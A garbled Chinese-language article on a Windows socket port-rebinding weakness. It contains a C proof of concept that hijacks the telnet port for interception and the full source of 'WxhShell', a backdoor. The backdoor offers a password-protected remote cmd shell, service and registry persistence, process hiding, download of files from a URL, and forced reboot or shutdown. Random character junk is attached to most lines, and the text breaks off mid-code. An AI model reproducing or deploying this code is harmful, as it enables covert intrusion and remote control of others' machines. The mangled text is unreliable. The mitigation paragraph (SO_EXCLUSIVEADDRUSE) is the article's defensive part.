在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-5sKJt]+i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
IO}53zn<l db0]D\ saddr.sin_family = AF_INET;
Eao^/MKx- TjLW<D(i> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)lDmYt7me acdF5ch@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VDy\2-b8d ylwh_&>2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u#~q86k ,RIC _26 这意味着什么?意味着可以进行如下的攻击:
qttJ*zu 9KGi%UIFvn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qpXsQim$~ 0mi$_Ld+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
JJVdq-k+` U3b&/z|b? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5tQZf'pHfd "DsL$D2e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$Z[W}7{pt# wC`+^>WFo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
t)4AQ .LA?2N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#[ ?E, /+ Q3JS( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
W 2T6JFv QP:|D_k #include
O#72h] #include
32x[6"T #include
3*!w c.= #include
bK#SxV DWORD WINAPI ClientThread(LPVOID lpParam);
cbaa*qoU int main()
M~,N~ N1 {
.-4]FGg3 WORD wVersionRequested;
"^NsbA+ DWORD ret;
X(JE]6_ WSADATA wsaData;
ne9-
c>> BOOL val;
UWo*%&J SOCKADDR_IN saddr;
U\GuCw SOCKADDR_IN scaddr;
s|\\"3 int err;
br%l>Y\" SOCKET s;
:b`ywSp` SOCKET sc;
.)Zs:50l int caddsize;
}BI|M_q.1~ HANDLE mt;
CWa~~h<r- DWORD tid;
7^W(e s wVersionRequested = MAKEWORD( 2, 2 );
J^y?nE(j err = WSAStartup( wVersionRequested, &wsaData );
Pmdf:?B if ( err != 0 ) {
bZW dd6 printf("error!WSAStartup failed!\n");
\dJOZ2J<z return -1;
oe<DP7e }
9Yd"Y- saddr.sin_family = AF_INET;
YDYN#Ob(; 0)rayzv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
SW)jDy i|[**P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i "d&U7Q saddr.sin_port = htons(23);
`!Yd$=*c_& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c<,R,DR {
2{<o1x,Ym printf("error!socket failed!\n");
_F},Wp:Oh return -1;
7#(0GZN9h% }
o[)*Y`xq<w val = TRUE;
s;cGf+ //SO_REUSEADDR选项就是可以实现端口重绑定的
otbr8&?- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
OJiwI)a9 {
=SD^Jl{H printf("error!setsockopt failed!\n");
K<q#2G0{ return -1;
|u]IOw&1 }
eZ BC@y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`BVXF#sb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Xo$SQ0K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)H(i)$I 28qlp>U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$,zW0</P*l {
@FZbp ret=GetLastError();
+ZOKfX printf("error!bind failed!\n");
/@B2-.w return -1;
+;-ZU }
_y&XFdp listen(s,2);
b] while(1)
[&g"Z" {
-lrcb/)Gz caddsize = sizeof(scaddr);
ST2:&xH( //接受连接请求
O?ODfO+> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(D:-p:q. if(sc!=INVALID_SOCKET)
#Vu;R5GZ} {
D?=4'"@v
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<4n"LJ9 if(mt==NULL)
J/IRCjQ} {
9khMG$ printf("Thread Creat Failed!\n");
1nw\?r2 break;
70'gVCb }
Zrp-Hv27,, }
TOhWfl; CloseHandle(mt);
,}O33BwJp }
{1qr6P," closesocket(s);
5KP\ #Y WSACleanup();
,Js-'vX return 0;
o".,JnbXl }
cUr!U\X[ DWORD WINAPI ClientThread(LPVOID lpParam)
~KRS0^ {
@v#,SF { SOCKET ss = (SOCKET)lpParam;
R$+p4@?S SOCKET sc;
DJ*mWi. unsigned char buf[4096];
I&m' a SOCKADDR_IN saddr;
a#k7 aOT0 long num;
.cHkh^EDY DWORD val;
,@/O\fit) DWORD ret;
zvVo-{6 //如果是隐藏端口应用的话,可以在此处加一些判断
]-9w'K d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.rITzwgB saddr.sin_family = AF_INET;
-Lu&bVt<> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eWNg?*/ saddr.sin_port = htons(23);
+*Z'oC BJ, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W+/_0GgQ3 {
gO)":!_n W printf("error!socket failed!\n");
M9afg$;.xe return -1;
!n` |k }
%<x!mE x val = 100;
hlDB'8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dk>6PBl {
kiyc ^s ret = GetLastError();
.izq}q*P return -1;
0Sz[u\w }
)UM^#<- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[8^q3o7n {
2aX*|DGpw ret = GetLastError();
EwX{i}j_V return -1;
A= 5Ebu!z }
{?5iK1|}K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$xbW*w {
(wM` LE(Ks printf("error!socket connect failed!\n");
kaXq. closesocket(sc);
DJ@n$G`^^ closesocket(ss);
rv(?%h`
return -1;
w3ni@'X8 }
tV`=o$` while(1)
RG""/x; {
: S3+UT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*=2W:,$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Pv/v=s>X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-PAEJn5$O num = recv(ss,buf,4096,0);
4$[o; t> if(num>0)
8"9&x}
tl- send(sc,buf,num,0);
j&oRj6;Ha+ else if(num==0)
8>,w8(Nt break;
8ZVQM7O num = recv(sc,buf,4096,0);
(=Cb)/s0 if(num>0)
>*8V]{f9 send(ss,buf,num,0);
ro\oL else if(num==0)
]FZPgO'G break;
G:":CX"O( }
&<]f- closesocket(ss);
{]<c6*gQ closesocket(sc);
<cp9+P < return 0 ;
Ly+UY.v" }
]|.ked YE{ [f@i0 hj9TiH/+ ==========================================================
|cf-S8pwY oNyYx6q:Q 下边附上一个代码,,WXhSHELL
dHXe2rTE;& 'R79,)|;[ ==========================================================
p>`rTaeZg p35=CX`T. #include "stdafx.h"
**Ioy+ ],pB:= #include <stdio.h>
J8alqs7 #include <string.h>
4SJ aAeIZ #include <windows.h>
jU j\<aW #include <winsock2.h>
B2ln8NF#Q #include <winsvc.h>
V|97; #include <urlmon.h>
}}=n]_f Ak9{P` #pragma comment (lib, "Ws2_32.lib")
'F/oR/4, #pragma comment (lib, "urlmon.lib")
G+8)a$?v W^tD6H; #define MAX_USER 100 // 最大客户端连接数
0\tac/ #define BUF_SOCK 200 // sock buffer
9efDM #define KEY_BUFF 255 // 输入 buffer
z3tx]Ade p|-MwCeH #define REBOOT 0 // 重启
8(%F{&<; #define SHUTDOWN 1 // 关机
j%Au0k lmzHE8MUNu #define DEF_PORT 5000 // 监听端口
0+FPAqX Sv n7.Ivep #define REG_LEN 16 // 注册表键长度
)/$J$'mcxd #define SVC_LEN 80 // NT服务名长度
4H-eFs%5 MeEa| . // 从dll定义API
=6[.||9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pux IJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
F]
c\Qt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
XHk"nbj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;'n%\*+fHH =OHX5:Z // wxhshell配置信息
xaMDec V struct WSCFG {
]->"4,} int ws_port; // 监听端口
P51M?3&=l char ws_passstr[REG_LEN]; // 口令
u5oM;#{@- int ws_autoins; // 安装标记, 1=yes 0=no
%;'~TtW5 char ws_regname[REG_LEN]; // 注册表键名
}HoCfiE=X char ws_svcname[REG_LEN]; // 服务名
M}\h?s char ws_svcdisp[SVC_LEN]; // 服务显示名
Tz @=N] D char ws_svcdesc[SVC_LEN]; // 服务描述信息
oe*1jR_J`[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d+q],\"R int ws_downexe; // 下载执行标记, 1=yes 0=no
9&Jf4lC94 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&>JP.//spi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mJUM#ry *:n~j9V- };
Z3S+")^ fN&\8SPE // default Wxhshell configuration
GTdoUSUq struct WSCFG wscfg={DEF_PORT,
3a?-UT! "xuhuanlingzhe",
B)JMughq_ 1,
FH,]' "Wxhshell",
vE:*{G;Y "Wxhshell",
kB
8^v7o "WxhShell Service",
&: Q'X "Wrsky Windows CmdShell Service",
B6
0 "Please Input Your Password: ",
3`^@ymY 1,
Tv=lr6t8 "
http://www.wrsky.com/wxhshell.exe",
iOk;o= "Wxhshell.exe"
DDeU: };
Np" p*O hq=;ZI // 消息定义模块
P.]h`4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NrqJf-ldo char *msg_ws_prompt="\n\r? for help\n\r#>";
r<vMp'u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{kpF etXt? char *msg_ws_ext="\n\rExit.";
[neuwdN char *msg_ws_end="\n\rQuit.";
4IeCb? char *msg_ws_boot="\n\rReboot...";
/lBK )( char *msg_ws_poff="\n\rShutdown...";
{MgRi7 char *msg_ws_down="\n\rSave to ";
? o"
Vkc: 5BVvT
`< char *msg_ws_err="\n\rErr!";
V
0Bl6 char *msg_ws_ok="\n\rOK!";
j"qND=15 7gC?<;\0 char ExeFile[MAX_PATH];
S{=5nR9 j int nUser = 0;
,H]%4@]|o HANDLE handles[MAX_USER];
}S> 4.8 int OsIsNt;
,X@o@W+L n~^SwOt~;5 SERVICE_STATUS serviceStatus;
yK*vn]} SERVICE_STATUS_HANDLE hServiceStatusHandle;
<*(Z}p l2
.S^S // 函数声明
Aw#<: 6- int Install(void);
p D<w@2K int Uninstall(void);
g|~px$<iY int DownloadFile(char *sURL, SOCKET wsh);
ofy"SM int Boot(int flag);
}3#\vn0gT void HideProc(void);
&;@L]
o int GetOsVer(void);
<],{at` v int Wxhshell(SOCKET wsl);
$k~TVm
Yex void TalkWithClient(void *cs);
!T0I; j& int CmdShell(SOCKET sock);
}A3/( int StartFromService(void);
9j2t|D4uT int StartWxhshell(LPSTR lpCmdLine);
&L8RLSfX <[dcIw<7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D3o,2E(o VOID WINAPI NTServiceHandler( DWORD fdwControl );
x%mRDm~- (?4%Xtul1 // 数据结构和表定义
h^3gYL7O6 SERVICE_TABLE_ENTRY DispatchTable[] =
*'Yy@T8M {
Q#g`D,:o%~ {wscfg.ws_svcname, NTServiceMain},
m+c-"arIpA {NULL, NULL}
EFX2>&mWo8 };
hP6f Df6i*Ko| // 自我安装
F[ E'R.: int Install(void)
JxVGzb`8 {
Ju+3} char svExeFile[MAX_PATH];
:60vbO HKEY key;
"Z@P&jl strcpy(svExeFile,ExeFile);
CNNqS^ct Tz,-~ mc // 如果是win9x系统,修改注册表设为自启动
Cut~k"lv if(!OsIsNt) {
e;.,x 5+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_(m72o0g>> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!5*VBE\ RegCloseKey(key);
?}HK!feU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F.vRs|fk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2
}xePX9? RegCloseKey(key);
.<m]j;|6 return 0;
yT^2;/Z }
lSX1|,B7:] }
$?GggP d }
45yP {+/-Q else {
Nc+0_|, p(yv // 如果是NT以上系统,安装为系统服务
c9/w{}F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
kz=ho~ @ if (schSCManager!=0)
SdH=1zBc {
!9d7wPUFr SC_HANDLE schService = CreateService
NpVL;6?7T (
IyO0~Vx> schSCManager,
lelmX wscfg.ws_svcname,
y [Vd*8 wscfg.ws_svcdisp,
x;vfmgty SERVICE_ALL_ACCESS,
>2#<gp3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vobC/m SERVICE_AUTO_START,
xw*e`9vAe SERVICE_ERROR_NORMAL,
{K|?i9K svExeFile,
dgVGP_~ NULL,
hDXTC_^s NULL,
_ZRmD\_t NULL,
R}oN8 NULL,
J4qk^1m. NULL
lT[,w9 $ );
vP{i+s18B if (schService!=0)
YJ~<pH {
b!H1|7> CloseServiceHandle(schService);
"~Fg-{jM% CloseServiceHandle(schSCManager);
m=}h7&5 p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
S.MRL, strcat(svExeFile,wscfg.ws_svcname);
-VohU-6 | if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z=%
j|xE_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+?\JQ| RegCloseKey(key);
)WvKRp r return 0;
~W@dF~r }
^fF#Ej1 }
*<\`"C; CloseServiceHandle(schSCManager);
c =m#MMc) }
f`4=Bl&"{ }
rQv5uoD &S="]*Z return 1;
APl]EV"l }
her>L3G-E 7nPg2K& // 自我卸载
bg~CV&]M int Uninstall(void)
i&DbZ=n2 {
DVd8Ix <
HKEY key;
fV+a0=Z WSpF/Wwc if(!OsIsNt) {
C2<TR PT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)B]"""J RegDeleteValue(key,wscfg.ws_regname);
.5 E)dU RegCloseKey(key);
];5J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*o1US RegDeleteValue(key,wscfg.ws_regname);
L\mF[Kd#+T RegCloseKey(key);
p7\LLJ y return 0;
<HnJD/g }
Nd(3q]{ }
RrxbsG1HP }
-+ F,L8 else {
A"r<$S6 o"Xv)#g& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
R.i]6H! if (schSCManager!=0)
(pH)QG {
[ as,AX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W9l](Ow if (schService!=0)
7mSNz. {
C6c*y\O\7 if(DeleteService(schService)!=0) {
cQ1[x>OcU CloseServiceHandle(schService);
Wm1dFf.> CloseServiceHandle(schSCManager);
IS"[< return 0;
DD/B\ }
VMABj\yG CloseServiceHandle(schService);
T=/c0#Q|q }
gjsks(x CloseServiceHandle(schSCManager);
iUz?mt;k }
I3
6@x`f }
b
B#QIXY/L b81^756 return 1;
|./:A5_h }
2r2: 0(o2<d7 // 从指定url下载文件
V9/2y9u int DownloadFile(char *sURL, SOCKET wsh)
cQ$[Ba {
m>Z3p7!N} HRESULT hr;
,fiV xn Q char seps[]= "/";
w
nBvJb]4l char *token;
j#3IF *" char *file;
ADF<5#I char myURL[MAX_PATH];
WUauKRR. char myFILE[MAX_PATH];
v~x`a0 p+ReQ.5| strcpy(myURL,sURL);
xrXfZ>$5bM token=strtok(myURL,seps);
>'#vC]@ while(token!=NULL)
Vk`Uz1* {
TP| ogF? file=token;
,2 xD>+= token=strtok(NULL,seps);
.Erv\lv* }
6W:]'L4! Uo9@Y{<B GetCurrentDirectory(MAX_PATH,myFILE);
.5>]DZn6 strcat(myFILE, "\\");
-p0*R<t strcat(myFILE, file);
"*HEXru#B send(wsh,myFILE,strlen(myFILE),0);
;TC]<N.YJT send(wsh,"...",3,0);
4h?@D_{k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Vug[q=i if(hr==S_OK)
ajG_t return 0;
) iV^rLwL else
[xb'73 return 1;
zrA3bWs 1fV)tvU$ }
^N^s|c' 3QXsr< // 系统电源模块
Ik,N/[ int Boot(int flag)
#zgO_H {
)b%zYD9p HANDLE hToken;
H>D? TOKEN_PRIVILEGES tkp;
./zzuKO8XK ?.-+U~ if(OsIsNt) {
mm*nXJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sSk qU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X%og}Cfi tkp.PrivilegeCount = 1;
kZ6:=l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^Nds@MR{8' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O` !XW8 if(flag==REBOOT) {
oV9{{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[ns==gDD return 0;
*Jt+-ZM }
RH7!3ye else {
jUZ$vyT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.qf~t/o return 0;
`WMU'ezF }
5zZQt+Ip }
oO7)7$|1 else {
*2.h*y'u if(flag==REBOOT) {
p1.3)=T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Gf+X<a return 0;
XL; WU8> }
-2u)orWP else {
9D,!] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+BhJske return 0;
FI$
-."F }
*c%{b3T_ }
UxF9Ko( ]d M$!-B,1BX return 1;
92C; a5s }
De{ZQg) 2qV oe}F // win9x进程隐藏模块
2 p}I void HideProc(void)
[wJ\.9<Oa {
py%~Qz% rXBCM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
bVa?yWb. if ( hKernel != NULL )
@w(|d<5l:L {
r=7!S8' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&v;o }Q}E{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
pp{p4Z FreeLibrary(hKernel);
M} ri>o }
K3WaBcm Akws I@@ return;
`|v/qk7
^? }
MZWv#;.] (c"!&&S^ = // 获取操作系统版本
<5#2^ ( int GetOsVer(void)
v046 {
qUn+1.[% OSVERSIONINFO winfo;
E="uDHw+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\MdieO* GetVersionEx(&winfo);
u]`0QxvZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~J5B?@2hK return 1;
1;B&R89} else
Bga4kjfmk return 0;
rQ2TPX<?a }
S,avvY.U\ Br{(sL0e // 客户端句柄模块
=FiO{Aw`N int Wxhshell(SOCKET wsl)
{9Ok^O {
k{hNv|:, SOCKET wsh;
?|
6sTu! struct sockaddr_in client;
[f[Wz{Q#Y DWORD myID;
bC) <K/Q9 &h!O<'*2 while(nUser<MAX_USER)
B(} 'yY@%u {
iE_[]Vgc int nSize=sizeof(client);
"Y4glomR[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
k\dPF@~Hvl if(wsh==INVALID_SOCKET) return 1;
]$sb<o
.a <%rm?;PBl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~Je40vO[ if(handles[nUser]==0)
cnw+^8 closesocket(wsh);
7fS NF7/+ else
7&%HE\ nUser++;
BpX` 49 }
>El]5M7h7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hn/yX|4c( xdz 6[8d8 return 0;
Zg>]!^X8 }
DO+~ N[fwd=$\# // 关闭 socket
G K3T w void CloseIt(SOCKET wsh)
[kckE-y {
s_+.xIZ closesocket(wsh);
b353+7"| nUser--;
]l +<- ExitThread(0);
0S'@(p[A }
bKzG5|Qu jt9- v- // 客户端请求句柄
2Qh)/=8lM void TalkWithClient(void *cs)
piuM#+Y\'S {
(\r^0>H P>_9>k@;Q SOCKET wsh=(SOCKET)cs;
!y>up+cRjl char pwd[SVC_LEN];
9k6/D.Dz char cmd[KEY_BUFF];
?E}gm> char chr[1];
BSB&zp int i,j;
4~ L1~Gk r ?<kWR?w while (nUser < MAX_USER) {
v ;Q*0%~ ka ;=%*7T if(wscfg.ws_passstr) {
+{m+aHk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!_~/Y/M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qN9 ?$\ //ZeroMemory(pwd,KEY_BUFF);
HY?#r]Ryt i=0;
eOkiB!G. while(i<SVC_LEN) {
yHlQKI )PYh./_2 // 设置超时
.X"&kO>G fd_set FdRead;
#h
U4gX, struct timeval TimeOut;
J7aYi]vI FD_ZERO(&FdRead);
p5w9X+G% FD_SET(wsh,&FdRead);
ja/wI'J< TimeOut.tv_sec=8;
9V&+xbR& TimeOut.tv_usec=0;
0=t2|,} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V"2 G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GO@<?>K @]8flb
)T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dTu*%S1Z pwd
=chr[0]; f\Hw Y)^>
if(chr[0]==0xd || chr[0]==0xa) { $cwmfF2C
pwd=0; j!oX\Y-: &
break; PApr8Xe
} f8=qnY2j
i++; Ruq>+ }4
} ,F`1VpTd8
ggkz
fg &
// 如果是非法用户,关闭 socket :%j"l7=>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9) $[W
} <Kr`R+Q$DN
M8 \/[R\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?"<m {,yQI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' S,g3
F9r/
M"5
while(1) { MtF0/aT
-%P}LaC<
ZeroMemory(cmd,KEY_BUFF); f8qDmk5s
3
Fy CD4#
// 自动支持客户端 telnet标准 BhbfPQ
j=0; Nge@8
while(j<KEY_BUFF) { 4}cxSl]jf!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dn?'06TD
cmd[j]=chr[0]; )+8r$ i
if(chr[0]==0xa || chr[0]==0xd) { I8B0@ZtV
cmd[j]=0;
cC|
break; 3fXrwmBT8
} >+.GBf<E
j++; :sLg$OF
} |r?0!;bN0
?MmQ'1N
// 下载文件 Y"KJ`Rx
if(strstr(cmd,"http://")) { @p^EXc*|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0+SZ-]
if(DownloadFile(cmd,wsh)) +%KkzdS'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)J>8eV
else <gH-`3J6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 89{;R
} 0`p"7!r
else { n_LK8
XkoPN]0n
switch(cmd[0]) { tSoF!@6
"cly99t
// 帮助 Qy4Pw\
case '?': { K^tc]ZQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _?'W30Dg
break; D8PC;@m
} )1@%!fr
// 安装 Iw(
wT_
case 'i': { eLXL5&}`fh
if(Install()) OK`^DIr5l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -O=xgvh"
else T3"'`Sd9;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya^8mp-
break; $dK430_B
} )t7MD(
// 卸载 ./0wt+
case 'r': { Z(R0IW
if(Uninstall()) gp $Rf9\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); opN4@a7l
else Y9vi&G?Jl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i`];xNR'
break; S*J\YcqSC
} l7VTuVGUJ
// 显示 wxhshell 所在路径 F|.tn`j]U
case 'p': { M}CxCEdDB]
char svExeFile[MAX_PATH]; $MNJsc^n
strcpy(svExeFile,"\n\r"); l. l)w
strcat(svExeFile,ExeFile); iTO Y
send(wsh,svExeFile,strlen(svExeFile),0); ~Jw84U{$
break; gYk5}E-
} }opMf6`w
// 重启 L;{{P7
case 'b': { |#yT]0L%pA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ru`U/6n
if(Boot(REBOOT)) %VR{<{3f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~[og\QZX
else { `l.bU3C
closesocket(wsh); ME]89 T&
ExitThread(0); (RG "2I3
} lVd-{m)
break; jA^Dk$
} 0a<h,s0"2
// 关机 ;8eGf'
case 'd': { <]|HGc
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yh@2m9
if(Boot(SHUTDOWN)) h# Z,ud_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R)*l)bpZ#
else { L%{YLl-zf]
closesocket(wsh); %N(>B_t\
ExitThread(0); z\8s |!
} :Mh\;e
break; f/IQ2yT-:D
}
iD])E/
// 获取shell ;~d$OM
case 's': { B>=D$*_
CmdShell(wsh); W(4$.uZ)
closesocket(wsh); L+
XAbL)
ExitThread(0); PE/uB,Wl
break; L$s ENOm
} 'r\RN\PT
// 退出 S&XlMu
case 'x': { oz,.gP%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :&'jh/vRN
CloseIt(wsh); enQW;N1_M
break; p9u'nDi
} )S`[ gK
// 离开 ONDO
xXs
case 'q': { 3tJfh=r=1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v'Ehr**]+
closesocket(wsh); `zw %
WSACleanup(); = _N[mR^
exit(1); /3SEu(d!
break; j3N d4#
} /EP
zT7
} i4h`jFS
} *l"CIG'
*x]*%
// 提示信息 ]$9y7Bhj.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5p:BHw;%;
} JN` $Fq+
} ~OR^
P2aFn=f
return; uPr!;'J=
} pmWy:0 R
hwL`9.w
// shell模块句柄 vyJ8"
#]qY
int CmdShell(SOCKET sock) >1Hv c7DP
{ G/(,,T}eG
STARTUPINFO si; hxM{}}.E
ZeroMemory(&si,sizeof(si)); _Z9d.-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^dhx/e%s
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x0ipk}
PROCESS_INFORMATION ProcessInfo; /^k%sG@?
char cmdline[]="cmd"; YG:^gi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8IxIW0
return 0; 6jgP/~hP>N
} ~|O; Sdo=
qGMU>J.;c
// 自身启动模式
)R'%SLw
int StartFromService(void) UQ;2g\([
{ TlkhI
typedef struct ^0}wmxDq
{ 0#8, (6
DWORD ExitStatus; a:UkVK]MP
DWORD PebBaseAddress; kBrA ?
DWORD AffinityMask; mTWd+mx
